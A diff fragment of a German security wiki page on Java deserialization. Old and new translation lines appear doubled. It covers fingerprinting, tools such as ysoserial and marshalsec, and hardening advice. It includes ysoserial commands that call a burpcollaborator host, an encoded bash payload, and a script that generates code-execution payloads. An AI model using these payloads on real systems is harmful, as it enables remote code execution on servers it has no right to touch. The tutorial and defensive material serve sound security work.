- [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)
|
||||
- [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418)
|
||||
|
||||
## Java - HTTP
|
||||
|
||||
In Java werden **Deserialisierungs-Callbacks während des Deserialisierungsprozesses ausgeführt**. Diese Ausführung kann von Angreifern ausgenutzt werden, die bösartige Payloads erstellen, die diese Callbacks auslösen, was zu potenziell schädlichen Aktionen führen kann.
|
||||
In Java werden deserialization callbacks während des Prozesses der deserialization ausgeführt. Diese Ausführung kann von Angreifern ausgenutzt werden, die bösartige payloads erstellen, die diese callbacks auslösen und so möglicherweise schädliche Aktionen ausführen.
|
||||
|
||||
### Fingerabdrücke
|
||||
### Fingerprints
|
||||
|
||||
#### White Box
|
||||
|
||||
Um potenzielle Serialisierungsanfälligkeiten im Code zu identifizieren, suchen Sie nach:
|
||||
Um potenzielle serialization vulnerabilities in der Codebasis zu identifizieren, suche nach:
|
||||
|
||||
- Klassen, die das `Serializable`-Interface implementieren.
|
||||
- Verwendung von `java.io.ObjectInputStream`, `readObject`, `readUnshare`-Funktionen.
|
||||
- Klassen, die das Interface `Serializable` implementieren.
|
||||
- Verwendung von `java.io.ObjectInputStream`, `readObject`, `readUnshare` Funktionen.
|
||||
|
||||
Achten Sie besonders auf:
|
||||
Achte besonders auf:
|
||||
|
||||
- `XMLDecoder`, der mit von externen Benutzern definierten Parametern verwendet wird.
|
||||
- `XStream`'s `fromXML`-Methode, insbesondere wenn die XStream-Version kleiner oder gleich 1.46 ist, da sie anfällig für Serialisierungsprobleme ist.
|
||||
- `ObjectInputStream` in Verbindung mit der `readObject`-Methode.
|
||||
- Implementierung von Methoden wie `readObject`, `readObjectNodData`, `readResolve` oder `readExternal`.
|
||||
- `XMLDecoder`, verwendet mit Parametern, die von externen Benutzern festgelegt werden.
|
||||
- Die `fromXML`-Methode von `XStream`, besonders wenn die XStream-Version kleiner oder gleich 1.46 ist, da sie anfällig für serialization issues sein kann.
|
||||
- `ObjectInputStream` in Verbindung mit der Methode `readObject`.
|
||||
- Implementierungen von Methoden wie `readObject`, `readObjectNodData`, `readResolve` oder `readExternal`.
|
||||
- `ObjectInputStream.readUnshared`.
|
||||
- Allgemeine Verwendung von `Serializable`.
|
||||
|
||||
#### Black Box
|
||||
|
||||
Für Black-Box-Tests suchen Sie nach spezifischen **Signaturen oder "Magic Bytes"**, die java-serialisierte Objekte kennzeichnen (stammend von `ObjectInputStream`):
|
||||
Für Black-Box-Tests suche nach spezifischen **Signaturen oder "Magic Bytes"**, die java serialized objects kennzeichnen (stammend von `ObjectInputStream`):
|
||||
|
||||
- Hexadezimales Muster: `AC ED 00 05`.
|
||||
- Base64-Muster: `rO0`.
|
||||
- HTTP-Antwortheader mit `Content-type`, der auf `application/x-java-serialized-object` gesetzt ist.
|
||||
- Hexadezimales Muster, das auf eine vorherige Kompression hinweist: `1F 8B 08 00`.
|
||||
- Base64-Muster, das auf eine vorherige Kompression hinweist: `H4sIA`.
|
||||
- Webdateien mit der Erweiterung `.faces` und dem Parameter `faces.ViewState`. Das Entdecken dieser Muster in einer Webanwendung sollte eine Untersuchung nach sich ziehen, wie im [Beitrag über Java JSF ViewState Deserialisierung](java-jsf-viewstate-.faces-deserialization.md) beschrieben.
|
||||
- HTTP-Response-Header mit `Content-type` gesetzt auf `application/x-java-serialized-object`.
|
||||
- Hexadezimales Muster, das auf vorherige Kompression hinweist: `1F 8B 08 00`.
|
||||
- Base64-Muster, das auf vorherige Kompression hinweist: `H4sIA`.
|
||||
- Web-Dateien mit der `.faces`-Erweiterung und dem Parameter `faces.ViewState`. Das Auffinden dieser Muster in einer Webanwendung sollte eine Untersuchung auslösen, wie im [Beitrag über Java JSF ViewState Deserialization](java-jsf-viewstate-.faces-deserialization.md) beschrieben.
|
||||
```
|
||||
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
|
||||
```
|
||||
### Überprüfen, ob verwundbar
|
||||
### Prüfen, ob verwundbar
|
||||
|
||||
Wenn Sie **lernen möchten, wie ein Java Deserialized Exploit funktioniert**, sollten Sie sich [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md) und [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md) ansehen.
|
||||
Wenn du **learn about how does a Java Deserialized exploit work** möchtest, solltest du dir [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md), und [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md) ansehen.
|
||||
|
||||
#### SignedObject-gated deserialization and pre-auth reachability
|
||||
|
||||
Moderne Codebasen kapseln Deserialisierung manchmal mit `java.security.SignedObject` und validieren eine Signatur, bevor `getObject()` aufgerufen wird (welches das innere Objekt deserialisiert). Das verhindert beliebige top-level gadget classes, kann aber weiterhin ausnutzbar sein, wenn ein Angreifer eine gültige Signatur erlangen kann (z. B. private-key compromise oder ein signing oracle). Zusätzlich können Fehlerbehandlungs-Flows session-bound tokens für unauthenticated users erzeugen und damit sonst geschützte Sinks pre-auth exponieren.
|
||||
|
||||
Für eine konkrete Fallstudie mit requests, IoCs und Härtungsempfehlungen siehe:
|
||||
|
||||
{{#ref}}
|
||||
java-signedobject-gated-deserialization.md
|
||||
{{#endref}}
|
||||
|
||||
#### White Box Test
|
||||
|
||||
Sie können überprüfen, ob eine Anwendung mit bekannten Schwachstellen installiert ist.
|
||||
Du kannst prüfen, ob Anwendungen mit bekannten Schwachstellen installiert sind.
|
||||
```bash
|
||||
find . -iname "*commons*collection*"
|
||||
grep -R InvokeTransformer .
|
||||
```
|
||||
Du könntest versuchen, **alle Bibliotheken zu überprüfen**, von denen bekannt ist, dass sie anfällig sind und für die [**Ysoserial**](https://github.com/frohoff/ysoserial) einen Exploit bereitstellen kann. Oder du könntest die in [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json) angegebenen Bibliotheken überprüfen.\
|
||||
Du könntest auch [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) verwenden, um nach möglichen Gadget-Ketten zu suchen, die ausgenutzt werden können.\
|
||||
Beim Ausführen von **gadgetinspector** (nach dem Bauen) kümmere dich nicht um die vielen Warnungen/Fehler, die es durchläuft, und lass es fertigstellen. Es wird alle Ergebnisse unter _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_ schreiben. Bitte beachte, dass **gadgetinspector keinen Exploit erstellt und möglicherweise falsche Positivmeldungen anzeigt**.
|
||||
Du kannst versuchen, **alle Bibliotheken zu prüfen**, von denen bekannt ist, dass sie verwundbar sind und für die [**Ysoserial** ](https://github.com/frohoff/ysoserial)einen exploit liefern kann. Oder du kannst die Bibliotheken prüfen, die im [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json) angegeben sind.\
|
||||
Du kannst auch [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) verwenden, um nach möglichen gadget chains zu suchen, die ausgenutzt werden können.\
|
||||
Beim Ausführen von **gadgetinspector** (nach dem Bauen) ignoriere die vielen Warnings/Errors, die erscheinen, und lass es durchlaufen. Es schreibt alle Ergebnisse unter _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Bitte beachte, dass **gadgetinspector keinen exploit erstellt und False Positives anzeigen kann**.
|
||||
|
||||
#### Black Box Test
|
||||
#### Black-Box-Test
|
||||
|
||||
Mit der Burp-Erweiterung [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) kannst du **identifizieren, welche Bibliotheken verfügbar sind** (und sogar die Versionen). Mit diesen Informationen könnte es **einfacher sein, eine Payload auszuwählen**, um die Schwachstelle auszunutzen.\
|
||||
[**Lies dies, um mehr über GadgetProbe zu erfahren**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
|
||||
GadgetProbe konzentriert sich auf **`ObjectInputStream`-Deserialisierungen**.
|
||||
Mit der Burp-Erweiterung [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) kannst du **identifizieren, welche Bibliotheken verfügbar sind** (und sogar die Versionen). Mit diesen Informationen kann es **einfacher sein, eine passende payload** zur Ausnutzung der Schwachstelle zu wählen.\
|
||||
[**Read this to learn more about GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
|
||||
GadgetProbe konzentriert sich auf **`ObjectInputStream` deserializations**.
|
||||
|
||||
Mit der Burp-Erweiterung [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) kannst du **anfällige Bibliotheken** identifizieren, die mit ysoserial ausgenutzt werden können, und sie **ausnutzen**.\
|
||||
[**Lies dies, um mehr über den Java Deserialization Scanner zu erfahren.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
|
||||
Java Deserialization Scanner konzentriert sich auf **`ObjectInputStream`**-Deserialisierungen.
|
||||
Mit der Burp-Erweiterung [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) kannst du **verwundbare Bibliotheken identifizieren**, die mit ysoserial ausnutzbar sind, und sie **ausnutzen**.\
|
||||
[**Read this to learn more about Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
|
||||
Java Deserialization Scanner konzentriert sich auf **`ObjectInputStream`** deserializations.
|
||||
|
||||
Du kannst auch [**Freddy**](https://github.com/nccgroup/freddy) verwenden, um **Deserialisierungs**-Schwachstellen in **Burp** zu **erkennen**. Dieses Plugin erkennt **nicht nur `ObjectInputStream`**-bezogene Schwachstellen, sondern **auch** Schwachstellen von **Json**- und **Yml**-Deserialisierungsbibliotheken. Im aktiven Modus wird es versuchen, diese mit Sleep- oder DNS-Payloads zu bestätigen.\
|
||||
[**Hier findest du weitere Informationen über Freddy.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
|
||||
Du kannst auch [**Freddy**](https://github.com/nccgroup/freddy) verwenden, um Deserializations-Schwachstellen in **Burp** zu **erkennen**. Dieses Plugin erkennt **nicht nur `ObjectInputStream`**-bezogene Schwachstellen, sondern **auch** Schwachstellen aus **Json** und **Yml** Deserialisierungsbibliotheken. Im aktiven Modus versucht es, diese mittels sleep- oder DNS-payloads zu bestätigen.\
|
||||
[**You can find more information about Freddy here.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
|
||||
|
||||
**Serialization Test**
|
||||
**Serialisierungstest**
|
||||
|
||||
Es geht nicht nur darum, zu überprüfen, ob eine anfällige Bibliothek vom Server verwendet wird. Manchmal könntest du in der Lage sein, **die Daten im serialisierten Objekt zu ändern und einige Prüfungen zu umgehen** (vielleicht um dir Admin-Rechte in einer Webanwendung zu gewähren).\
|
||||
Wenn du ein in Java serialisiertes Objekt findest, das an eine Webanwendung gesendet wird, **kannst du** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **verwenden, um das gesendete Serialisierungsobjekt in einem menschenlesbaren Format auszugeben**. Zu wissen, welche Daten du sendest, würde es einfacher machen, sie zu ändern und einige Prüfungen zu umgehen.
|
||||
Es geht nicht nur darum zu prüfen, ob der Server eine verwundbare Bibliothek verwendet. Manchmal kannst du **die Daten innerhalb des serialisierten Objekts ändern und einige Prüfungen umgehen** (vielleicht erhältst du so Admin-Rechte in einer Webapp).\
|
||||
Wenn du ein Java-serialisiertes Objekt findest, das an eine Webanwendung gesendet wird, **kannst du** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **verwenden, um das serialisierte Objekt in einem besser lesbaren Format auszugeben**. Wenn du weißt, welche Daten du sendest, ist es einfacher, sie zu verändern und Prüfungen zu umgehen.
|
||||
|
||||
### **Exploit**
|
||||
|
||||
#### **ysoserial**
|
||||
|
||||
Das Hauptwerkzeug zum Ausnutzen von Java-Deserialisierungen ist [**ysoserial**](https://github.com/frohoff/ysoserial) ([**hier herunterladen**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Du könntest auch in Betracht ziehen, [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) zu verwenden, das es dir ermöglicht, komplexe Befehle (zum Beispiel mit Pipes) zu verwenden.\
|
||||
Beachte, dass dieses Tool **fokussiert** ist auf das Ausnutzen von **`ObjectInputStream`**.\
|
||||
Ich würde **beginnen, die "URLDNS"**-Payload **vor einer RCE**-Payload zu verwenden, um zu testen, ob die Injektion möglich ist. Beachte jedoch, dass die "URLDNS"-Payload möglicherweise nicht funktioniert, aber eine andere RCE-Payload möglicherweise schon.
|
||||
Das Haupttool zur Ausnutzung von Java-Deserializations ist [**ysoserial**](https://github.com/frohoff/ysoserial) ([**download here**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Du kannst auch [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) in Betracht ziehen, das es dir erlaubt, komplexe Befehle zu verwenden (z. B. mit Pipes).\
|
||||
Beachte, dass dieses Tool **fokussiert** ist auf die Ausnutzung von **`ObjectInputStream`**.\
|
||||
Ich würde **zuerst das "URLDNS"** payload **vor einem RCE**-payload verwenden, um zu testen, ob die Injection möglich ist. Beachte allerdings, dass das "URLDNS"-payload möglicherweise nicht funktioniert, andere RCE-payloads aber schon.
|
||||
```bash
|
||||
# PoC to make the application perform a DNS req
|
||||
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
|
||||
@ -484,9 +498,9 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb
|
||||
# Base64 encode payload in base64
|
||||
base64 -w0 payload
|
||||
```
|
||||
Beim Erstellen eines Payloads für **java.lang.Runtime.exec()** können Sie **keine Sonderzeichen** wie ">" oder "|" verwenden, um die Ausgabe einer Ausführung umzuleiten, "$()" um Befehle auszuführen oder sogar **Argumente** an einen Befehl zu übergeben, die durch **Leerzeichen** getrennt sind (Sie können `echo -n "hello world"` tun, aber Sie können nicht `python2 -c 'print "Hello world"'` tun). Um den Payload korrekt zu codieren, könnten Sie [diese Webseite](http://www.jackson-t.ca/runtime-exec-payloads.html) verwenden.
|
||||
Beim Erstellen eines Payloads für **java.lang.Runtime.exec()** kannst du **keine Sonderzeichen** wie ">" oder "|" verwenden, um die Ausgabe einer Ausführung umzuleiten, "$()" um Befehle auszuführen, oder sogar **Argumente** an einen Befehl zu übergeben, die durch **spaces** getrennt sind (du kannst `echo -n "hello world"` ausführen, aber nicht `python2 -c 'print "Hello world"'`). Um das Payload korrekt zu kodieren, könntest du [use this webpage](http://www.jackson-t.ca/runtime-exec-payloads.html).
|
||||
|
||||
Fühlen Sie sich frei, das nächste Skript zu verwenden, um **alle möglichen Codeausführungs**-Payloads für Windows und Linux zu erstellen und diese dann auf der verwundbaren Webseite zu testen:
|
||||
Du kannst gern das folgende Script verwenden, um **all the possible code execution** payloads für Windows und Linux zu erstellen und sie anschließend auf der verwundbaren Webseite zu testen:
|
||||
```python
|
||||
import os
|
||||
import base64
|
||||
@ -509,11 +523,11 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
|
||||
```
|
||||
#### serialkillerbypassgadgets
|
||||
|
||||
Sie können **verwenden** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **neben ysoserial, um weitere Exploits zu erstellen**. Weitere Informationen zu diesem Tool finden Sie in den **Folien des Vortrags**, in dem das Tool vorgestellt wurde: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
|
||||
Du kannst [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **zusammen mit ysoserial verwenden, um mehr Exploits zu erstellen**. Mehr Informationen über dieses Tool in den **Folien des Vortrags**, in dem das Tool vorgestellt wurde: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
|
||||
|
||||
#### marshalsec
|
||||
|
||||
[**marshalsec** ](https://github.com/mbechler/marshalsec)kann verwendet werden, um Payloads zu generieren, um verschiedene **Json**- und **Yml**-Serialisierungsbibliotheken in Java auszunutzen.\
|
||||
[**marshalsec** ](https://github.com/mbechler/marshalsec) kann verwendet werden, um payloads zu generieren, mit denen verschiedene **Json**- und **Yml**-Serialisierungsbibliotheken in Java ausgenutzt werden können.\
|
||||
Um das Projekt zu kompilieren, musste ich diese **Abhängigkeiten** zu `pom.xml` **hinzufügen**:
|
||||
```html
|
||||
<dependency>
|
||||
@ -529,57 +543,57 @@ Um das Projekt zu kompilieren, musste ich diese **Abhängigkeiten** zu `pom.xml`
|
||||
<type>pom</type>
|
||||
</dependency>
|
||||
```
|
||||
**Installiere maven** und **kompiliere** das Projekt:
|
||||
**Installiere maven**, und **kompiliere** das Projekt:
|
||||
```bash
|
||||
sudo apt-get install maven
|
||||
mvn clean package -DskipTests
|
||||
```
|
||||
#### FastJSON
|
||||
|
||||
Lesen Sie mehr über diese Java JSON-Bibliothek: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
|
||||
Mehr Informationen zu dieser Java JSON-Bibliothek: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
|
||||
|
||||
### Labs
|
||||
### Labore
|
||||
|
||||
- Wenn Sie einige ysoserial-Payloads testen möchten, können Sie **diese Webanwendung ausführen**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
|
||||
- Wenn du einige ysoserial payloads testen möchtest, kannst du dieses Webapp **ausführen**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
|
||||
- [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
|
||||
|
||||
### Warum
|
||||
|
||||
Java verwendet viel Serialisierung für verschiedene Zwecke wie:
|
||||
Java verwendet Serialisierung häufig für verschiedene Zwecke wie:
|
||||
|
||||
- **HTTP-Anfragen**: Serialisierung wird häufig im Management von Parametern, ViewState, Cookies usw. eingesetzt.
|
||||
- **RMI (Remote Method Invocation)**: Das Java RMI-Protokoll, das vollständig auf Serialisierung basiert, ist ein Grundpfeiler für die Fernkommunikation in Java-Anwendungen.
|
||||
- **RMI über HTTP**: Diese Methode wird häufig von Java-basierten dicken Client-Webanwendungen verwendet, die Serialisierung für alle Objektkommunikationen nutzen.
|
||||
- **JMX (Java Management Extensions)**: JMX verwendet Serialisierung zum Übertragen von Objekten über das Netzwerk.
|
||||
- **Benutzerdefinierte Protokolle**: In Java besteht die Standardpraxis darin, rohe Java-Objekte zu übertragen, was in den kommenden Exploit-Beispielen demonstriert wird.
|
||||
- **HTTP requests**: Serialisierung wird häufig beim Management von Parametern, ViewState, Cookies usw. eingesetzt.
|
||||
- **RMI (Remote Method Invocation)**: Das Java-RMI-Protokoll, das vollständig auf Serialisierung beruht, ist ein Grundpfeiler für die Remote-Kommunikation in Java-Anwendungen.
|
||||
- **RMI over HTTP**: Diese Methode wird häufig von Java-basierten Thick-Client-Webanwendungen verwendet und nutzt Serialisierung für alle Objektkommunikationen.
|
||||
- **JMX (Java Management Extensions)**: JMX verwendet Serialisierung, um Objekte über das Netzwerk zu übertragen.
|
||||
- **Custom Protocols**: In Java beinhaltet die übliche Praxis die Übertragung von rohen Java-Objekten, was in den folgenden Exploit-Beispielen demonstriert wird.
|
||||
|
||||
### Prävention
|
||||
|
||||
#### Transiente Objekte
|
||||
|
||||
Eine Klasse, die `Serializable` implementiert, kann jedes Objekt innerhalb der Klasse als `transient` kennzeichnen, das nicht serialisierbar sein sollte. Zum Beispiel:
|
||||
Eine Klasse, die `Serializable` implementiert, kann jedes Objekt innerhalb der Klasse als `transient` markieren, das nicht serialisierbar sein sollte. Zum Beispiel:
|
||||
```java
|
||||
public class myAccount implements Serializable
|
||||
{
|
||||
private transient double profit; // declared transient
|
||||
private transient double margin; // declared transient
|
||||
```
|
||||
#### Vermeiden Sie die Serialisierung einer Klasse, die `Serializable` implementieren muss
|
||||
#### Vermeide die Serialisierung einer Klasse, die Serializable implementieren muss
|
||||
|
||||
In Szenarien, in denen bestimmte **Objekte das `Serializable`**-Interface aufgrund der Klassenhierarchie implementieren müssen, besteht das Risiko einer unbeabsichtigten Deserialisierung. Um dies zu verhindern, stellen Sie sicher, dass diese Objekte nicht deserialisierbar sind, indem Sie eine `final` `readObject()`-Methode definieren, die konsequent eine Ausnahme auslöst, wie unten gezeigt:
|
||||
In Szenarien, in denen bestimmte **Objekte aufgrund der Klassenhierarchie das `Serializable`-Interface implementieren müssen**, besteht das Risiko einer unbeabsichtigten Deserialisierung. Um dies zu verhindern, sorgen Sie dafür, dass diese Objekte nicht deserialisierbar sind, indem Sie eine `final` `readObject()`-Methode definieren, die konsequent eine Ausnahme wirft, wie unten gezeigt:
|
||||
```java
|
||||
private final void readObject(ObjectInputStream in) throws java.io.IOException {
|
||||
throw new java.io.IOException("Cannot be deserialized");
|
||||
}
|
||||
```
|
||||
#### **Verbesserung der Deserialisierungs-Sicherheit in Java**
|
||||
#### **Verbesserung der Sicherheit bei der Deserialisierung in Java**
|
||||
|
||||
**Anpassung von `java.io.ObjectInputStream`** ist ein praktischer Ansatz zur Sicherung von Deserialisierungsprozessen. Diese Methode ist geeignet, wenn:
|
||||
**Anpassen von `java.io.ObjectInputStream`** ist ein praktischer Ansatz zur Absicherung von Deserialisierungsprozessen. Diese Methode eignet sich, wenn:
|
||||
|
||||
- Der Deserialisierungscode unter Ihrer Kontrolle steht.
|
||||
- Die Klassen, die für die Deserialisierung erwartet werden, bekannt sind.
|
||||
|
||||
Überschreiben Sie die **`resolveClass()`**-Methode, um die Deserialisierung nur auf erlaubte Klassen zu beschränken. Dies verhindert die Deserialisierung von Klassen, die nicht ausdrücklich erlaubt sind, wie im folgenden Beispiel, das die Deserialisierung nur auf die Klasse `Bicycle` beschränkt:
|
||||
Überschreiben Sie die **`resolveClass()`**-Methode, um die Deserialisierung auf nur erlaubte Klassen zu beschränken. Dies verhindert die Deserialisierung beliebiger Klassen außer denen, die ausdrücklich erlaubt sind, wie im folgenden Beispiel, das die Deserialisierung auf die Klasse `Bicycle` beschränkt:
|
||||
```java
|
||||
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
|
||||
public class LookAheadObjectInputStream extends ObjectInputStream {
|
||||
@ -600,17 +614,19 @@ return super.resolveClass(desc);
|
||||
}
|
||||
}
|
||||
```
|
||||
**Verwendung eines Java-Agents zur Sicherheitsverbesserung** bietet eine Rückfalllösung, wenn eine Codeänderung nicht möglich ist. Diese Methode gilt hauptsächlich für **das Blacklisting schädlicher Klassen**, unter Verwendung eines JVM-Parameters:
|
||||
**Verwendung eines Java-Agenten zur Verbesserung der Sicherheit** bietet eine Fallback-Lösung, wenn Codeänderungen nicht möglich sind. Diese Methode gilt hauptsächlich für das **Blacklisting schädlicher Klassen** und nutzt einen JVM-Parameter:
|
||||
```
|
||||
-javaagent:name-of-agent.jar
|
||||
```
|
||||
Es bietet eine Möglichkeit, die Deserialisierung dynamisch zu sichern, ideal für Umgebungen, in denen sofortige Codeänderungen unpraktisch sind.
|
||||
Es bietet eine Möglichkeit, deserialization dynamisch abzusichern — ideal für Umgebungen, in denen sofortige Codeänderungen unpraktisch sind.
|
||||
|
||||
Überprüfen Sie ein Beispiel in [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
|
||||
Siehe ein Beispiel in [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
|
||||
|
||||
**Implementierung von Serialisierungsfiltern**: Java 9 führte Serialisierungsfilter über das **`ObjectInputFilter`**-Interface ein, das einen leistungsstarken Mechanismus zum Festlegen von Kriterien bietet, die serialisierte Objekte erfüllen müssen, bevor sie deserialisiert werden. Diese Filter können global oder pro Stream angewendet werden und bieten eine granulare Kontrolle über den Deserialisierungsprozess.
|
||||
**Implementierung von Serialization Filters**:
|
||||
|
||||
Um Serialisierungsfilter zu nutzen, können Sie einen globalen Filter festlegen, der auf alle Deserialisierungsoperationen angewendet wird, oder ihn dynamisch für bestimmte Streams konfigurieren. Zum Beispiel:
|
||||
Java 9 führte die serialization filters über das Interface **`ObjectInputFilter`** ein und stellt damit einen leistungsfähigen Mechanismus bereit, um Kriterien festzulegen, die serialized objects erfüllen müssen, bevor sie deserialized werden. Diese filters können global oder pro Stream angewendet werden und bieten eine granulare Kontrolle über den deserialization-Prozess.
|
||||
|
||||
Um serialization filters zu nutzen, können Sie einen globalen Filter setzen, der für alle deserialization-Operationen gilt, oder ihn dynamisch für bestimmte Streams konfigurieren. Zum Beispiel:
|
||||
```java
|
||||
ObjectInputFilter filter = info -> {
|
||||
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
|
||||
@ -622,29 +638,30 @@ return Status.ALLOWED;
|
||||
};
|
||||
ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
```
|
||||
**Nutzung externer Bibliotheken zur Verbesserung der Sicherheit**: Bibliotheken wie **NotSoSerial**, **jdeserialize** und **Kryo** bieten erweiterte Funktionen zur Kontrolle und Überwachung der Java-Deserialisierung. Diese Bibliotheken können zusätzliche Sicherheitsschichten bereitstellen, wie z.B. das Whitelisting oder Blacklisting von Klassen, die Analyse von serialisierten Objekten vor der Deserialisierung und die Implementierung benutzerdefinierter Serialisierungsstrategien.
|
||||
**Nutzung externer Bibliotheken zur verbesserten Sicherheit**: Libraries such as **NotSoSerial**, **jdeserialize**, and **Kryo** offer advanced features for controlling and monitoring Java deserialization. Diese Bibliotheken können zusätzliche Sicherheitsschichten bieten, wie Whitelisting oder Blacklisting von Klassen, Analyse serialisierter Objekte vor der Deserialisierung und Implementierung benutzerdefinierter Serialisierungsstrategien.
|
||||
|
||||
- **NotSoSerial** unterbricht Deserialisierungsprozesse, um die Ausführung von nicht vertrauenswürdigem Code zu verhindern.
|
||||
- **jdeserialize** ermöglicht die Analyse von serialisierten Java-Objekten, ohne sie zu deserialisieren, und hilft dabei, potenziell schädliche Inhalte zu identifizieren.
|
||||
- **Kryo** ist ein alternatives Serialisierungsframework, das Geschwindigkeit und Effizienz betont und konfigurierbare Serialisierungsstrategien bietet, die die Sicherheit verbessern können.
|
||||
- **NotSoSerial** fängt Deserialisierungsprozesse ab, um die Ausführung von nicht vertrauenswürdigem Code zu verhindern.
|
||||
- **jdeserialize** ermöglicht die Analyse serialisierter Java-Objekte, ohne sie zu deserialisieren, und hilft so, potenziell bösartigen Inhalt zu identifizieren.
|
||||
- **Kryo** ist ein alternatives Serialisierungsframework, das auf Geschwindigkeit und Effizienz ausgelegt ist und konfigurierbare Serialisierungsstrategien anbietet, die die Sicherheit verbessern können.
|
||||
|
||||
### Referenzen
|
||||
### References
|
||||
|
||||
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html)
|
||||
- Deserialisierung und ysoserial Vortrag: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
|
||||
- Deserialization and ysoserial talk: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
|
||||
- [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
|
||||
- [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ)
|
||||
- Vortrag über gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) und Folien: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
|
||||
- Marshalsec-Papier: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
|
||||
